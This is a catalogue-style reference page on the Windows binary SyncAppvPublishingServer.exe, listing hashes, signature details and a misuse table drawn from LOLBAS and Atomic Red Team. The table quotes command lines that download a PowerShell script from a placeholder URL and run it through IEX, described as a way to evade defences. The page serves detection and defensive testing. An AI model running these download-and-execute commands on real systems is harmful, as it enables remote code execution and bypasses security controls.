SyncAppvPublishingServer.exe

  • File Path: C:\Windows\system32\SyncAppvPublishingServer.exe

Hashes

Type Hash
MD5 FA257040B9E6AC96C3897FBA85F3B370
SHA1 C9EDA14F4EB2E1FA23F1F123546761FBC38E6F3E
SHA256 6CD9E8FD8D6324CFEB6AF0331CB98AA6026E1550853A74E9ECFFA3B6D50A43AB
SHA384 EF1B61F24866B07A4790E6C379E738E7177B659D6072E120177C6B75B34C742040B45473CABED6A30F38528355A291FC
SHA512 0E528A4766D3F7DFEDE9886496EBFE4C88C6B5F2008AF88BF99CA77C0FBC9DCF773CE064D9E0ABEA2C5A292CDD749A90F6D7B0A349B566CCA6EE3345764CA71B
SSDEEP 768:Z7amor5f5o0N6WW6mz8iLgkA7jnzsjpQbHcJI1PFca:dDu5oxn6/iMkA7XsCbHceP+a

Signature

  • Status: Signature verified.
  • Serial: 3300000266BD1580EFA75CD6D3000000000266
  • Thumbprint: A4341B9FD50FB9964283220A36A1EF6F6FAA7840
  • Issuer: CN=Microsoft Windows Production PCA 2011, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
  • Subject: CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US

File Metadata

  • Original Filename:
  • Product Name:
  • Company Name:
  • File Version:
  • Product Version:
  • Language:
  • Legal Copyright:

Possible Misuse

The following table contains possible examples of SyncAppvPublishingServer.exe being misused. While SyncAppvPublishingServer.exe is not inherently malicious, its legitimate functionality can be abused for malicious purposes.

Source Source File Example License
LOLBAS Syncappvpublishingserver.yml Name: SyncAppvPublishingServer.exe  
LOLBAS Syncappvpublishingserver.yml - Command: SyncAppvPublishingServer.exe "n;(New-Object Net.WebClient).DownloadString('http://some.url/script.ps1') \| IEX"  
LOLBAS Syncappvpublishingserver.yml Usecase: Use SyncAppvPublishingServer as a Powershell host to execute Powershell code. Evade defensive counter measures  
LOLBAS Syncappvpublishingserver.yml - Path: C:\Windows\System32\SyncAppvPublishingServer.exe  
LOLBAS Syncappvpublishingserver.yml - Path: C:\Windows\SysWOW64\SyncAppvPublishingServer.exe  
LOLBAS Syncappvpublishingserver.yml - IOC: SyncAppvPublishingServer.exe should never be in use unless App-V is deployed  
LOLBAS Syncappvpublishingserver.yml Name: Syncappvpublishingserver.vbs  
LOLBAS Syncappvpublishingserver.yml - Command: SyncAppvPublishingServer.vbs "n;((New-Object Net.WebClient).DownloadString('http://some.url/script.ps1') \| IEX"  
LOLBAS Syncappvpublishingserver.yml - Path: C:\Windows\System32\SyncAppvPublishingServer.vbs  
atomic-red-team index.md - Atomic Test #2: SyncAppvPublishingServer - Execute arbitrary PowerShell code [windows] MIT License. © 2018 Red Canary
atomic-red-team index.md - Atomic Test #1: SyncAppvPublishingServer Signed Script PowerShell Command Execution [windows] MIT License. © 2018 Red Canary
atomic-red-team windows-index.md - Atomic Test #2: SyncAppvPublishingServer - Execute arbitrary PowerShell code [windows] MIT License. © 2018 Red Canary
atomic-red-team windows-index.md - Atomic Test #1: SyncAppvPublishingServer Signed Script PowerShell Command Execution [windows] MIT License. © 2018 Red Canary
atomic-red-team T1216.md - Atomic Test #1 - SyncAppvPublishingServer Signed Script PowerShell Command Execution MIT License. © 2018 Red Canary
atomic-red-team T1216.md ## Atomic Test #1 - SyncAppvPublishingServer Signed Script PowerShell Command Execution MIT License. © 2018 Red Canary
atomic-red-team T1216.md Executes the signed SyncAppvPublishingServer script with options to execute an arbitrary PowerShell command. MIT License. © 2018 Red Canary
atomic-red-team T1216.md C:\windows\system32\SyncAppvPublishingServer.vbs “\n;#{command_to_execute}” MIT License. © 2018 Red Canary
atomic-red-team T1218.md - Atomic Test #2 - SyncAppvPublishingServer - Execute arbitrary PowerShell code MIT License. © 2018 Red Canary
atomic-red-team T1218.md ## Atomic Test #2 - SyncAppvPublishingServer - Execute arbitrary PowerShell code MIT License. © 2018 Red Canary
atomic-red-team T1218.md Executes arbitrary PowerShell code using SyncAppvPublishingServer.exe. Requires Windows 10. MIT License. © 2018 Red Canary
atomic-red-team T1218.md SyncAppvPublishingServer.exe “n; #{powershell_code}” MIT License. © 2018 Red Canary

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